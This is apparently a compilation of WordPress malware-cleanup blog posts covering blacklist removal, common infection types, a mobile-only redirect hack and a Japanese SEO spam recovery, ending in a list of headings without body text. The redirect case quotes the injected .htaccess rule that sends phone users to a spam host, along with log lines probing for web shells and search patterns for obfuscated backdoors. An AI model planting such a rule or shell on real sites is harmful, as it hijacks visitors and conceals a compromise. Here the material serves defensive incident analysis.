Some odd folders can be harmless in other contexts, but in this case they appear alongside confirmed malicious components, hidden backup storage, and visible spam behavior. They should be treated as suspicious until verified against a known-good site build.

Does this prove the exact original hack entry point?

No. The samples strongly prove compromise, persistence, and malicious behavior, but they do not by themselves prove the first vulnerability or credential used to get in.

Should I just remove the unauthorized admin account and keep the rest?

No. If you only remove the account, the trigger-based admin-reset logic or the other backdoors can recreate access. You must remove the file-based persistence as well.

Do I need to reinstall WordPress core, themes, and plugins?

In most cases, yes. When malware has spread across theme files, plugins, MU-plugins, and hidden backup directories, replacing code with clean trusted originals is safer than trying to hand-edit every file.

Proof statement: This page is based on representative malware samples and screenshots collected during real WordPress cleanup work by MD Pabel. The findings are stated from the provided code and visible artifacts: a self-restoring fake system-control plugin, hidden .sc-backup persistence, a trigger-based unauthorized admin reset file, a header-driven MU-plugin eval backdoor, and visitor-facing spam/fake CAPTCHA symptoms.

Confidence: Root cause low, persistence high, screenshot read high, IOCs high.

Quttera Blacklist Removal Case Study: How I Removed a Website from the Quttera Blacklist in 12 Hours

MD Pabel — Sun, 19 Apr 2026 04:07:56 +0000

If your website is blacklisted by Quttera , it usually means there is or was a real malware, spam, phishing, or suspicious security issue on the site. In many cases, site owners panic because the website may look normal on the surface while security tools still flag it as unsafe.

In this case study, I’ll show how a client contacted me after their website was flagged by Quttera Labs. I manually cleaned the infected site, removed the suspicious elements, submitted a reconsideration request to Quttera, and the blacklist was removed in around 12 hours.

This is a good example of why blacklist removal is not just about filing a request. You have to fix the actual cause first.

Quick Summary

Problem: Website blacklisted by Quttera Labs
Likely cause: Malware or suspicious site behavior
What I did: Manual malware cleanup, security review, and blacklist reconsideration request
Result: Quttera blacklist removed within 12 hours
Extra result: Follow-up scan showed the site as clean

The Problem: Client Site Was Blacklisted by Quttera

The client contacted me because their website had been flagged by Quttera Labs. This kind of blacklist issue can hurt trust immediately, especially if visitors, partners, or security tools start treating the site as suspicious.

At the time of the initial scan, the blacklist section clearly showed a problem. Quttera Labs had marked the website as Blacklisted. The same scan also showed another warning under QBMA.

This is where many site owners make a mistake. They try to request removal first without fully cleaning the website. That usually wastes time. If the infection, spam payload, redirect, or backdoor is still present, the blacklist request may fail or the site may get flagged again later.

What I Found During the Cleanup

As with most blacklist cases, the first step was not the reconsideration form. The first step was identifying and removing the real reason the site was flagged.

During malware cleanups like this, I typically check for:

malicious redirects
infected theme or plugin files
spam injections
hidden backdoors
database malware
suspicious JavaScript
fake admin users or persistence mechanisms

For this client, I cleaned the infected website manually and made sure the visible malicious behavior was removed before asking Quttera to review the domain again.

This part matters because blacklist removal only works consistently when the site is actually clean.

The Fix: Manual Malware Cleanup First

After the client shared the issue, I performed a manual WordPress malware cleanup. The goal was not just to make the homepage look normal, but to remove the real infection points that could keep the blacklist active.

The cleanup process included:

reviewing the infected website for malware or suspicious behavior
removing the malicious code and infected components
checking for persistence points so the issue would not return
verifying the site was clean before submitting the review request

If you skip this step and only ask for blacklist removal, you are treating the symptom, not the cause.

The Reconsideration Request to Quttera

Once the site was cleaned properly, I submitted a reconsideration request to Quttera.

The important detail here is timing: I did not submit the request before cleanup. I only submitted it after the infection had been removed and the site was in a clean state.

That gave the review request a much better chance of succeeding quickly.

The Result: Quttera Blacklist Removed Within 12 Hours

The result was fast.

Within around 12 hours , the Quttera blacklist warning was removed. A follow-up blacklist check showed Quttera Labs: Clean.

The updated result also showed the broader blacklist status as clean, including the previous QBMA warning no longer appearing as blacklisted.

This is the kind of outcome site owners want, but it only happens reliably when the malware cleanup is done properly before the review request is submitted.

Why This Worked So Quickly

There are two big reasons this case moved fast:

The website was actually cleaned first. I removed the real issue before asking for reconsideration.
The request was submitted immediately after cleanup. There was no delay between cleaning the site and requesting the review.

In blacklist recovery, speed matters, but cleanup quality matters more. A fast request on a dirty site usually fails. A fast request on a truly clean site often has a much better outcome.

What Website Owners Should Learn from This

If your site is blacklisted by Quttera, Google, McAfee, or another security vendor, do not rush straight to the review request.

First, make sure the site is genuinely clean.

That means checking for:

malware in theme and plugin files
database injections
malicious redirects
SEO spam
hidden admin users
backdoors that can reinfect the site later

If even one persistence point is missed, the site may stay flagged or get blacklisted again after a short time.

Related Guides

If you are dealing with a similar hacked-site or blacklist issue, these guides may help:

FAQ: Quttera Blacklist Removal

What does it mean if Quttera blacklists my website?

It means Quttera detected suspicious, malicious, or unsafe behavior on your website. This can include malware, phishing content, spam injections, or other security issues.

Can I remove the Quttera blacklist without cleaning the site?

Sometimes site owners try that first, but it is not the right approach. The safer and more effective path is to clean the site completely before requesting reconsideration.

How long does Quttera blacklist removal take?

It depends on the case, but in this client’s case, the blacklist was removed in about 12 hours after the malware cleanup and review request.

Will the site stay clean after blacklist removal?

Only if the real infection and persistence points were removed properly. If a hidden backdoor or reinfection source remains, the problem can return.

Do you help with WordPress blacklist removal?

Yes. I help website owners clean hacked WordPress sites, remove malware, and handle blacklist recovery where needed.

Need Help Removing a Quttera Blacklist?

If your website is blacklisted by Quttera or another security vendor, I can help you clean the site properly first and then handle the removal process the right way.

Get professional WordPress malware removal help

Top 5 Malware Types I Keep Finding on Hacked WordPress Sites

MD Pabel — Sat, 11 Apr 2026 23:14:54 +0000

If you run a WordPress website, one of the most dangerous mistakes you can make is thinking all malware looks the same.

It does not.

Some infections create obvious redirects. Some quietly inject spam into Google. Some hide fake plugins in your file system. Others sit inside your database and survive even after you delete the infected files.

After cleaning thousands of hacked WordPress sites, I keep seeing the same patterns again and again. In this article, I’ll break down the top 5 malware types I find most often on WordPress sites , what they usually do, and where they tend to hide.

If you are already seeing strange behavior on your site, start with my guide on how to detect WordPress malware or my WordPress malware removal service.

1. Fake Plugin Malware and Hidden Backdoors

This is one of the most common WordPress malware patterns I see.

The attacker uploads a fake plugin or backdoor file that looks technical enough to avoid suspicion. Sometimes the folder name sounds official. Sometimes it mimics a security plugin, a compatibility patch, or a harmless utility. In more advanced cases, the malware hides itself from the WordPress dashboard completely, so the plugin is active on the server but invisible in wp-admin.

That is what makes fake plugin malware so dangerous. Many site owners only check the Installed Plugins page, see nothing unusual, and assume the site is clean.

Common signs include:

plugin folders you do not recognize
technical-sounding names like fake “core” or “official” plugins
hidden code in mu-plugins or unexpected PHP files inside plugin directories
reinfected sites where the malware returns after cleanup

Relevant internal reading:

2. Database Malware and Ghost Admin Infections

A lot of people clean the files and forget the database.

That is exactly why database malware is so effective.

Instead of living in obvious PHP files, this type of infection hides inside wp_options, wp_posts, wp_postmeta, or even wp_users. That lets the malware survive file cleanup, keep spam active, create stealth redirects, or leave behind a hidden admin account for the attacker.

I often see this in cases where the site still behaves strangely after the visible malware has already been removed.

Common signs include:

unknown admin users in the database
spam content injected into posts or SEO metadata
suspicious scripts stored in options or postmeta
redirect behavior that continues after file cleanup

Relevant internal reading:

3. SEO Spam Malware

If a hacked WordPress site suddenly starts ranking for Japanese text, casino pages, pharma terms, or fake product URLs, this is usually SEO spam malware.

This is one of the most destructive WordPress infections because it does not just infect the site. It damages search visibility, trust, brand reputation, and in many cases triggers blacklist warnings or long-term indexing problems.

SEO spam often creates thousands of garbage URLs, hidden links, cloaked pages, or modified titles and descriptions. Sometimes the site looks normal to the owner but completely different to Google.

Common signs include:

Japanese keyword pages in Google
pharma, gambling, or adult spam pages indexed under your domain
hidden internal links or cloaked spam content
Google Search Console showing large numbers of spam URLs

Relevant internal reading:

If your site is already showing spam in Google, you may also need my Google blacklist removal service.

4. Redirect Malware

Redirect malware is still one of the most common real-world WordPress infections.

Sometimes it redirects all visitors. Sometimes it only redirects traffic from Google. Sometimes it targets mobile users only, which makes it much harder to catch. I have seen redirect malware hidden in .htaccess, JavaScript, database options, theme files, and injected server-level rewrite rules.

This type of malware is especially dangerous because site owners often say, “The website looks fine for me,” while real visitors are getting pushed to spam, scam, adware, or fake CAPTCHA pages.

Common signs include:

the site redirects only on mobile
redirects only happen for logged-out users or Google visitors
strange popups like “Click Allow” or fake browser warnings
unexpected rewrite rules inside .htaccess

Relevant internal reading:

5. Disguised File Malware and Web Shells

This category covers some of the most technical infections I see: malware hidden in files that look harmless.

That includes PHP backdoors disguised as images, strange files dropped into wp-content, hidden executables, fake GIF or JPG files that are actually loaders, and classic web shells that give the attacker direct file access on the server.

These infections are dangerous because they often do not look suspicious to a non-technical site owner. A file might look like an image, a harmless text file, or a generic script, while actually functioning as a backdoor.

Common signs include:

random PHP files in places they do not belong
GIF or JPG files containing executable code
shell-related filenames like alfa.php or disguised loaders
file manager warnings about unknown files in WordPress core

Relevant internal reading:

Why These 5 Malware Types Matter More Than Random Malware Names

Many site owners search for the exact malware filename they found. That can help, but in real cleanups, the bigger win comes from understanding the infection pattern.

For example, a fake plugin name may change. A redirect domain may change. A hidden database key may change. But the overall malware type usually stays the same.

That is why it is more useful to understand categories like:

backdoors
database malware
SEO spam
redirect malware
disguised loaders and web shells

Once you understand the pattern, you stop cleaning symptoms and start finding the real persistence points.

This is also why I recommend reading why WordPress malware keeps coming back after any cleanup.

FAQ: Top WordPress Malware Types

What is the most common malware on WordPress sites?

From the sites I clean most often, the biggest categories are fake plugins and backdoors, database malware, SEO spam, redirect malware, and disguised file or web shell infections.

What malware is hardest to detect on WordPress?

Database malware and stealth redirects are usually the hardest to catch because the site can look normal to the owner while still behaving maliciously for visitors or search engines.

Can WordPress malware survive after I delete the infected files?

Yes. That is very common. If the infection also touched the database, created a hidden admin user, dropped a fake plugin, or left a cron-based reinfection path, the malware can come back after file cleanup.

Why does my site look clean but Google still shows spam?

That usually means the infection affected indexed URLs, hidden links, or SEO-related data, or Google has not finished processing the cleanup yet. In those cases, you may need both malware removal and search cleanup.

What should I check first if I think my WordPress site is hacked?

Start with the basics: file integrity, suspicious plugins, unexpected admin users, .htaccess, database injections, and Google indexing symptoms. My guide on how to detect WordPress malware is the best starting point.

Final Thoughts

Not all WordPress malware looks dramatic. In fact, some of the most damaging infections are the ones that stay quiet the longest.

That is why understanding the main malware categories matters. If you know what fake plugins look like, how database malware behaves, how SEO spam spreads, how redirects are triggered, and how disguised files work, you have a much better chance of catching the infection before it turns into a blacklist, traffic collapse, or full reinfection loop.

If your site is already hacked, do not guess and do not rely on one quick scan.

Get expert WordPress malware removal help

How I Found and Fixed a WordPress Mobile Redirect Hack Using Access Logs

MD Pabel — Fri, 10 Apr 2026 02:39:37 +0000

If your WordPress site looks normal on desktop but keeps kicking mobile visitors away, you may be dealing with a mobile-only redirect hack.

This kind of infection is designed to stay hidden. The site owner opens the homepage on a laptop, sees nothing obviously broken, and assumes WordPress is fine. Meanwhile, mobile users get silently redirected to a spam or adware destination before they can even interact with the real site.

That is exactly what happened in this case.

In this article, I’ll show you how I diagnosed the infection using raw server access logs and SSL logs, how I confirmed the redirect was targeting mobile user agents only, and how I traced the behavior back to a malicious .htaccess payload and hidden web shells.

If you are dealing with suspicious redirects right now, you may also want to read my guide on how to detect WordPress malware and my full WordPress malware removal service page.

The Symptom: The Site Worked on Desktop but Not on Mobile

The client’s complaint was simple: the website looked normal on desktop, but mobile visitors were being kicked out immediately.

There were no visible PHP errors, no obvious plugin crash, and no broken layout. That is usually a sign that the malicious behavior is happening before WordPress fully renders the page.

When a redirect happens that early, I stop wasting time in the dashboard and move straight to the server logs.

This is also why many site owners miss these infections at first. If you only test the site on your own laptop, you may never see the problem until users start complaining. I cover similar hidden behavior in my article on how hackers hide backdoors in WordPress.

Step 1: Reviewing the Access Logs for Signs of a Backdoor

The first useful clue came from the standard access logs.

I found repeated requests probing for well-known web shell filenames and backdoor management paths. The requests were clearly automated and aggressive.

"GET /alfa.php HTTP/1.1" 409
"GET /wso.php HTTP/1.1" 409
"GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 409
"GET /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 200

That pattern told me two things immediately:

the server was being probed for existing backdoors and shell paths
at least one malicious shell-related request was not being blocked

In this case, the 200 OK response against the perl.alfa path was the key indicator. That suggested the attacker had a working foothold on the server and could use it to modify files, inject payloads, or drop redirect logic elsewhere.

I do not treat the 409 codes alone as universal proof of WAF behavior. But in this case, the pattern strongly suggested that some malicious probes were being intercepted while at least one active shell endpoint was still reachable.

If you want a broader look at hidden entry points like this, read this case study about a hidden WordPress backdoor.

Step 2: Comparing Desktop and Mobile Requests in the SSL Logs

The site owner’s report said the problem only affected mobile users, so the next step was to verify that with log evidence.

I compared SSL log entries using different user-agent strings.

What I found was the real breakthrough:

Desktop request: returned 200
Mobile request: returned 302

That difference matters.

A 302 Found response means the server is temporarily redirecting the visitor to another URL. So when a desktop browser gets a normal 200 and a mobile user agent gets a 302, you are no longer guessing. You are looking at user-agent-based redirect behavior.

At that point, the infection pattern was clear: the server was serving the real site to desktop browsers while redirecting mobile users somewhere else.

That kind of selective behavior is common in stealth malware because it helps the infection stay hidden from the site owner during casual checks.

I have seen the same “looks normal to me” pattern in other redirect cases too, including WordPress redirects to spam on mobile only and .htaccess redirect malware infections.

Step 3: Why the `.htaccess` File Became the Main Suspect

Once I confirmed the redirect was happening based on the visitor’s device, the next question was where that logic lived.

Because the redirect was firing before WordPress showed any obvious application-level symptoms, the strongest suspect was the Apache rewrite layer.

Apache’s mod_rewrite allows administrators to use RewriteCond and RewriteRule directives inside .htaccess to evaluate request conditions and redirect matching traffic. That makes it a common place for server-level malware redirects.

When I opened the .htaccess file, the malicious payload was sitting right at the top.

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} "Android|iPhone|iPad|iPod|BlackBerry|Windows Phone" [NC]
RewriteRule ^.*$ https://lakns.com/link?z=9557727&var=[domain_name]&ymid={CLICK_ID} [R=302,L]

If you are currently cleaning a similar infection, my full guide on how to remove .htaccess malware from WordPress goes deeper into common redirect patterns and cleanup steps.

What the Malicious Rewrite Rule Was Doing

This rule was simple, but effective.

1. It checked the visitor’s device

The RewriteCond line inspected the HTTP_USER_AGENT string and looked for common mobile identifiers like Android and iPhone.

2. It redirected every matching request

If the visitor matched the mobile condition, the RewriteRule redirected the request to an external spam/adware URL using an HTTP 302 redirect.

3. It avoided casual detection

Desktop visitors saw the real website. Mobile users got hijacked. That allowed the attacker to monetize mobile traffic while keeping the infection relatively invisible during routine desktop testing.

Why This Kind of Malware Is So Easy to Miss

Most site owners test their own website from a laptop.

That is exactly why this attack works so well.

The infection is built to pass a basic desktop check. No homepage defacement. No obvious white screen. No noisy plugin error. Just a quiet redirect for the traffic the attacker wants to steal.

If you only inspect WordPress from the admin area or test the homepage on desktop, you can miss the infection for days or weeks.

That is why access logs matter so much in mobile redirect cases. The logs tell you what the server actually returned to real visitors, not what you hoped it was doing.

This is also one reason malware keeps coming back or stays unnoticed after a “quick cleanup.” If you haven’t seen it yet, read why WordPress malware keeps coming back.

How I Cleaned the Infection Properly

Deleting the redirect rule alone would have fixed the symptom, but not the root cause.

Since the logs showed shell activity, the real job was to remove both the visible redirect and the hidden access points that allowed the attacker to place it.

1. I removed the malicious redirect from `.htaccess`

The first step was restoring the file to a clean WordPress configuration so mobile visitors could access the real site again.

2. I hunted the underlying backdoors

Next, I searched the file system for shell-related artifacts and obfuscated PHP patterns tied to the breach. In cases like this, I typically search for known shell folders, suspicious filenames, and patterns such as:

ALFA_DATA
eval(base64_decode
unexpected PHP files in writable folders
modified core files or injected include statements

3. I checked WordPress core integrity

After removing the visible payloads, I verified that core files, themes, and plugins matched clean versions and had not been modified to persist the infection.

4. I rotated access after cleanup

Once the environment was clean, I changed WordPress, FTP, database, and hosting credentials, and rotated WordPress salts so old sessions would no longer remain valid.

After that, I also recommend following a post-cleanup process like the one in this hacked site checklist.

What You Should Check If Your Site Redirects Only on Mobile

If you are seeing this behavior on your own site, here is where I would look first:

Access logs: compare status codes for desktop vs mobile user agents
SSL logs: confirm whether only mobile requests are getting redirected
.htaccess: look for suspicious RewriteCond %{HTTP_USER_AGENT} and external redirect rules
Hidden shell files: search for filenames like alfa.php, wso.php, and shell-related folders
Core files: inspect index.php, wp-config.php, and other high-risk entry points

If you are still unsure whether the redirect is file-based, database-based, or both, this guide on cleaning hidden database malware can help you rule out the database side too.

FAQ: WordPress Mobile Redirect Hack

Why does my WordPress site redirect only on mobile but not on desktop?

That usually means the malware is checking the visitor’s device or user-agent string before deciding whether to redirect. This is a common stealth tactic because site owners often test from desktop first and miss the infection.

Can a mobile redirect happen even if WordPress looks normal in the dashboard?

Yes. Many mobile redirect infections happen at the server level through .htaccess, compromised files, or hidden backdoors. That means the dashboard may look perfectly normal while visitors are still being hijacked.

Is deleting the malicious `.htaccess` rule enough?

No. That only removes the visible symptom. If the attacker got in through a web shell, backdoor, vulnerable plugin, or stolen credential, they can place the same redirect again unless you remove the real entry point and rotate access.

What logs should I check first for a mobile-only redirect?

Start with your standard access logs and SSL access logs. Compare the HTTP status codes and destinations returned to desktop and mobile user agents. If desktop gets 200 and mobile gets 302, that is a strong sign of targeted redirect malware.

Can malware like this affect SEO?

Yes. Even if the homepage looks normal to you, redirecting users to spam or adware pages can damage trust, hurt rankings, and create indexing or blacklist issues if the infection stays active long enough.

Final Takeaway

A WordPress mobile redirect hack is designed for stealth.

It does not need to destroy your homepage. It only needs to hijack the right visitors without getting caught.

That is why log analysis is so valuable in these cases. When desktop traffic gets a normal 200 but mobile traffic gets a 302, the logs expose what the infection is doing. And when that behavior leads back to a malicious rewrite rule in .htaccess, you know you are dealing with a server-level compromise, not just a broken plugin.

But the rewrite rule is only the symptom.

If the attacker got shell access once, they can come back unless you remove the backdoors, verify file integrity, and rotate access properly.

Need Help Removing a Mobile Redirect Hack?

If your WordPress site redirects only on phones, shows suspicious 302 responses, or keeps sending users to spam domains, I can help track it down and clean it properly.

Get expert WordPress malware removal help

How I Removed 50,000+ Spam URLs From Google After a Japanese Keyword Hack

MD Pabel — Wed, 08 Apr 2026 12:34:52 +0000

Quick Summary: How I Removed 50,000+ Hacked Spam URLs From Google

This cleanup worked because I did four things in the right order:

Confirmed the hack and mapped the URL patterns.
Used Search Console removals for short-term triage.
Returned hard removal signals for the hacked URL patterns.
Cleaned the real infection and closed the reinfection points.

If your hacked site is generating thousands of spam URLs, deleting files alone usually won’t fix the search-side damage.

When a client opened Google Search Console, the numbers were brutal:

Valid pages: 142
Spam pages: 49,800+

This was not a small SEO cleanup. It was a large-scale hacked-site recovery.

The site had been hit with Japanese SEO spam. Google had discovered tens of thousands of junk URLs, while the real site only had a small number of legitimate pages. On the surface, the site still looked mostly normal. In search, it looked like a spam farm.

In this case study, I’ll show exactly how I handled it: how I diagnosed the patterns, how I used Search Console for triage, why I chose server-side 410 responses for this case, how I cleaned the database damage, and what I hardened afterward so the spam did not come right back.

If you’re dealing with this right now, start with my Japanese SEO spam removal service or my full WordPress malware removal service.

Why This Case Needed More Than a Normal Search Console Cleanup

I’ve handled Japanese SEO spam cases before. In one earlier recovery, I documented how we cleared 242,000 Japanese spam pages from a hacked WordPress site. In that case, Search Console removals played a bigger role.

This case was different.

At this scale, manual URL-by-URL cleanup was not the real answer. Even prefix removals only help when the spam lives under obvious folders. On a hacked site with multiple URL patterns, spam pages, and infected real pages, Search Console becomes a triage tool, not the full recovery plan.

This screenshot matters because it shows the first layer of response: reduce visibility fast, then fix the root cause properly.

Step 1: Confirm the Japanese Keyword Hack and Find the Real URL Patterns

The first job was not “remove URLs.” The first job was to understand what Google had actually indexed.

Use a simple site search first

I started with:

site:example.com

That immediately showed the pattern. Google had indexed spam pages with Japanese text, gambling phrases, and fake product-style URLs. Some lived under obvious folders. Others followed numeric or generated patterns such as:

/detail/837492837
/pages/random-file.html
other junk paths generated by the malware

If you only check the homepage, you can miss this kind of infection completely. If you check search results, the problem usually becomes obvious fast.

For a broader walkthrough, see my guide on how to fix the Japanese keyword hack in WordPress.

Then I used the Search Analytics API to pull large samples

For a case this large, the Search Console interface alone is too limiting. I used the Search Analytics API to pull a large sample of affected pages and queries so I could identify patterns instead of guessing.

Important detail: I use the API here as a pattern-finding tool , not as perfect forensic truth. When you group by page and query, Search Console data can be partial. That is still fine for this job, because I was looking for the main URL shapes I needed to block and clean.

1. Open the API explorer

I used the Google Search Analytics API explorer and authenticated to the property.

2. Run a broad query

I used a request shaped like this:

{
  "startDate": "2023-01-01",
  "endDate": "2025-02-19",
  "dimensions": ["QUERY", "PAGE"],
  "rowLimit": 25000
}

3. Export, filter, and build a working list

Once I had the response, I exported the data to CSV and filtered it by the patterns I had already seen in search results: Japanese keyword terms, casino language, fake product folders, and junk HTML pages.

That gave me a practical cleanup list. Not every hacked URL on the site. Not every URL Google had ever tested. But enough to identify the patterns that mattered.

Step 2: Use Search Console Removals as Triage, Not as the Whole Fix

This is where a lot of people get stuck.

Search Console removals are useful. I still use them. But they are a temporary visibility tool , not a permanent hacked-site recovery plan.

If the infection created obvious directories like /odr/, /mbr/, or /pages/, I can use prefix removals to get immediate relief while I work on the permanent fix.

How I use prefix removals in large hacks

Open Search Console → Removals.
Click New Request.
Select Remove all URLs with this prefix.
Submit the infected directory pattern, such as https://example.com/pages/.

This helps when the spam is concentrated in a folder. It buys time. It does not solve the hack by itself.

Important: I do not rely on removals alone. If the malware is still active, the spam URLs can come back or new ones can be generated.

Step 3: Why I Chose 410 Responses for This Case

Once I had the patterns, I needed a permanent server response for the spam URLs.

For this case, I chose 410 Gone.

Why? Because these were not real pages I planned to restore later. They were hacked URLs that should never exist again. I wanted a clean, explicit “this is intentionally gone” signal, and I wanted to deliver that signal before WordPress even loaded.

That said, I don’t treat 410 as magic. If a clean 404 setup is easier on a particular project, I’ll use that. The real win here was not the number itself. The real win was returning a clear permanent status at the pattern level and doing it server-side.

If you want the deeper SEO explanation, read my guide on 404 vs 410 for hacked and deleted URLs.

Step 4: How I Implemented the 410 Rules

There are two ways I handle this, depending on the site owner’s comfort level and hosting setup.

Method A: WordPress-level handling

If someone is not comfortable editing server rules, I can use a WordPress plugin that supports regex-based rules and 410 responses.

This is safer for non-technical site owners, but it is slower under heavy bot traffic because WordPress still has to load before the rule runs.

Method B: Server-level handling

For this client, I used Apache rules in .htaccess because I wanted the requests blocked before WordPress and PHP did unnecessary work.

Here is the simplified pattern logic:

<IfModule mod_rewrite.c>
RewriteEngine On

# Block common spam terms
RewriteRule .*casino.* - [R=410,L]
RewriteRule .*slot.* - [R=410,L]
RewriteRule .*poker.* - [R=410,L]

# Block fake product detail URLs
RewriteRule ^detail/([0-9]{10,15})$ - [R=410,L]

# Block malicious folders
RewriteRule ^odr/.* - [R=410,L]
RewriteRule ^mbr/.* - [R=410,L]
RewriteRule ^pages/.*\.html$ - [R=410,L]
</IfModule>

On very large infections, this kind of pattern-based response can do two useful things at once:

cut down wasted crawl and bot traffic
give search engines a consistent dead-end signal for hacked URLs

If your server is not Apache, use the equivalent logic in Nginx, at the CDN/WAF layer, or wherever you control server responses safely.

Step 5: My Temporary “Cleanup Sitemap” Tactic

This is the part most people find unusual, so let me explain it carefully.

Normally, a sitemap is for URLs you want search engines to crawl and understand as real pages. In a hacked cleanup like this, I sometimes create a temporary cleanup sitemap of the affected spam URLs that are already returning the right dead-end response.

Why? Because on large hacked sites, I sometimes want to surface those exact URLs for recrawl faster instead of waiting for Google to rediscover them naturally.

So in this case, I created a temporary file such as sitemap-spam.xml with affected URLs I wanted Google to revisit. When Googlebot requested them, it hit the permanent removal response I had already deployed.

I want to be very clear here: this is not my default sitemap strategy for normal SEO work. It is a tactical move I sometimes use during large hacked-site cleanup jobs to accelerate recrawling of dead hacked URLs. After the cleanup phase, I remove that temporary sitemap and go back to a normal sitemap setup.

If you want to understand how these spam URLs get hidden in the first place, read my hidden links malware guide.

Step 6: The Site Wasn’t Just Generating Spam URLs — Real Pages Were Also Infected

The fake URLs were only half the problem.

One of the client’s legitimate service pages was ranking with a Japanese title in Google. That meant the damage had crossed into real metadata.

I checked the database in phpMyAdmin and reviewed the SEO-related values stored in wp_postmeta. In this case, the attacker had injected Japanese title data into the page’s Rank Math-related metadata. I cleaned those rows and restored the correct English titles.

This is why I never stop after deleting files. On SEO spam jobs, the database often contains part of the real damage.

What Happened in the First 72 Hours

Once the hacked patterns were mapped, the temporary removals were in place, the server rules were active, and the database cleanup was done, the change was fast.

Day 1: Server load dropped sharply because bots stopped hitting thousands of junk URLs through WordPress.
Day 2: Search Console started reflecting the dead-end responses and the visible spam footprint began to fall.
Day 3: The Japanese titles stopped dominating branded search results, and the legitimate titles started reappearing.

This is not a universal guarantee for every hacked site. Crawl timing always varies. But in this case, the combined approach moved much faster than “delete files and wait.”

If you want another large-scale example, read how I removed 10,500 SEO spam URLs from Google Search.

Step 7: Post-Hack Hardening So the Spam Doesn’t Come Back

A cleanup is incomplete if the attacker can still get back in.

After the search-side damage was under control, I hardened the environment:

Rotated all access points: not just WordPress passwords, but hosting, FTP/SFTP, database, admin email, and any connected infrastructure accounts.
Changed WordPress salts: this forced active sessions out.
Enabled 2FA for admin accounts: I do not like leaving a cleaned site protected by password-only access.
Disabled dashboard file editing: so WordPress could not be used as an easy PHP editor if an admin account was compromised again.
Blocked PHP execution in uploads: because the uploads directory is a common persistence point on hacked WordPress sites.
Reviewed logs and update gaps: because a Japanese SEO spam infection is rarely the whole story.

After cleanup, this checklist is also worth following: what to do after fixing a hacked WordPress site.

FAQ

What is the Japanese Keyword Hack?

It is a hacked-site SEO spam attack where attackers inject or generate large numbers of spam pages, often using Japanese text, gambling terms, counterfeit product terms, or fake product-style URLs. The goal is to abuse your domain’s trust in Google.

Why does my site look normal to me while Google shows spam?

Because many of these infections use cloaking. Human visitors may see the normal site, while Googlebot or search-result visitors get the spam version, the hacked URL, or the polluted metadata.

Should I use 404 or 410 for hacked spam URLs?

For permanently dead hacked URLs, either can work. In this case, I preferred 410 because the patterns were clearly hacked and intentionally retired, and I wanted a very explicit server response. The bigger issue is consistency and making sure the malware is actually gone.

Can I remove 50,000 hacked URLs using Search Console alone?

No. Search Console helps with temporary suppression and visibility management, but it does not replace cleaning the malware, fixing the server responses, and stopping reinfection.

How long does it take for spam URLs to disappear from Google?

It depends on crawl frequency, site health, and whether the infection is fully cleaned. In this case I saw meaningful movement inside 72 hours, but I never promise that exact timeline on every site.

Final Takeaway

If your hacked site has 500 spam URLs, you may be able to get away with a lighter cleanup workflow. If it has 50,000+, you need to think in patterns, not pages.

That means:

pattern-based diagnosis
temporary search triage
server-side permanent responses
database cleanup
post-hack hardening

That is what saved this site.

Need help with a hacked site like this?

If Google is still showing Japanese spam under your domain, or your site has tens of thousands of junk URLs indexed after cleanup, I can fix both the malware and the search-side damage.

Fix My Japanese SEO Spam Problem

Or start with my full WordPress malware removal service.

DEV Community: MD Pabel

WordPress Plugin Keeps Getting Removed or Deactivated Malware

Quick Answer

What This Threat Pattern Is

What Visitors May See

Screenshot-Based Symptoms

Screenshot Findings

Why This Usually Means the Site Is Compromised

Likely Root Cause

Why It Keeps Coming Back

Files and Directories to Check

Removal Targets Inferred From The Samples

Technical Analysis

Attack Chain

Evidence Notes

Representative Malware Samples

FILE: media-patcher-lab.php

FILE: menu-queue-bit.php

FILE: menu-queue-bit.php

FILE: 661c8d20.php

FILE: 991c1262.php

FILE: a7749158.php

Indicators of Compromise (Public-Safe)

Removal Strategy

Manual Removal Protocol

Hardening Checklist

FAQ

Can malware really remove or deactivate a WordPress plugin automatically?

Why is the mu-plugins folder important here?

Is this definitely an Amelia vulnerability?

Could this just be a plugin conflict instead of malware?

What should I remove first?

Do I need to check the database too?

What if I delete only the suspicious plugin file I can see?

WordPress Site Showing a Blank Page? I Found Malware in index.php [Case Study]

Case Summary

Why this case matters

What the client actually saw

What I found in index.php

How the malware worked

1. It contacted a remote server

2. It checked bots and search traffic

3. It had logic for sitemap and robots-related requests

4. It treated different visitors differently

Why the site showed a blank page

Why this was more dangerous than “just a blank site”

How I approached the cleanup

1. I confirmed the visible symptom

2. I inspected the root entry file early

3. I compared the file against a clean WordPress baseline

4. I removed the malicious loader

5. I checked for persistence

6. I hardened the site after cleanup

What made this different from a normal White Screen of Death fix

Signs your “blank page” may actually be malware

The SEO lesson from this case

What to do if your WordPress site shows a blank page

Final thoughts

FAQ

Why is my WordPress site showing a blank page with no error?

Can malware cause a WordPress blank page?

How do I know if my blank page is malware or just a plugin issue?

Why would malware infect index.php?

Should I just replace index.php and move on?

How to Secure a WordPress Site: 15 Practical Steps That Prevent Hacks

Why WordPress Sites Get Hacked

1. Keep WordPress Core, Themes, and Plugins Updated

2. Delete Plugins and Themes You Do Not Use

3. Only Use Plugins and Themes from Trusted Sources

4. Use Strong Passwords and a Password Manager

5. Enable Two-Factor Authentication for Every Admin Account

6. Add Login Rate Limiting and Bot Protection

7. Protect or Disable XML-RPC If You Do Not Need It

8. Force HTTPS Across the Site

9. Lock Down File Permissions

10. Disable the Built-In Theme and Plugin File Editor

11. Review User Roles and Remove Unused Admin Accounts

12. Use a Firewall or WAF in Front of the Site

13. Back Up Both Files and Database — and Test Restore

14. Monitor Logs, File Changes, and Suspicious Activity

FILE: `media-patcher-lab.php`

FILE: `menu-queue-bit.php`

FILE: `menu-queue-bit.php`

FILE: `661c8d20.php`

FILE: `991c1262.php`

FILE: `a7749158.php`

What I found in `index.php`

FILE: `functions.php`

FILE: `menu-queue-bit.php`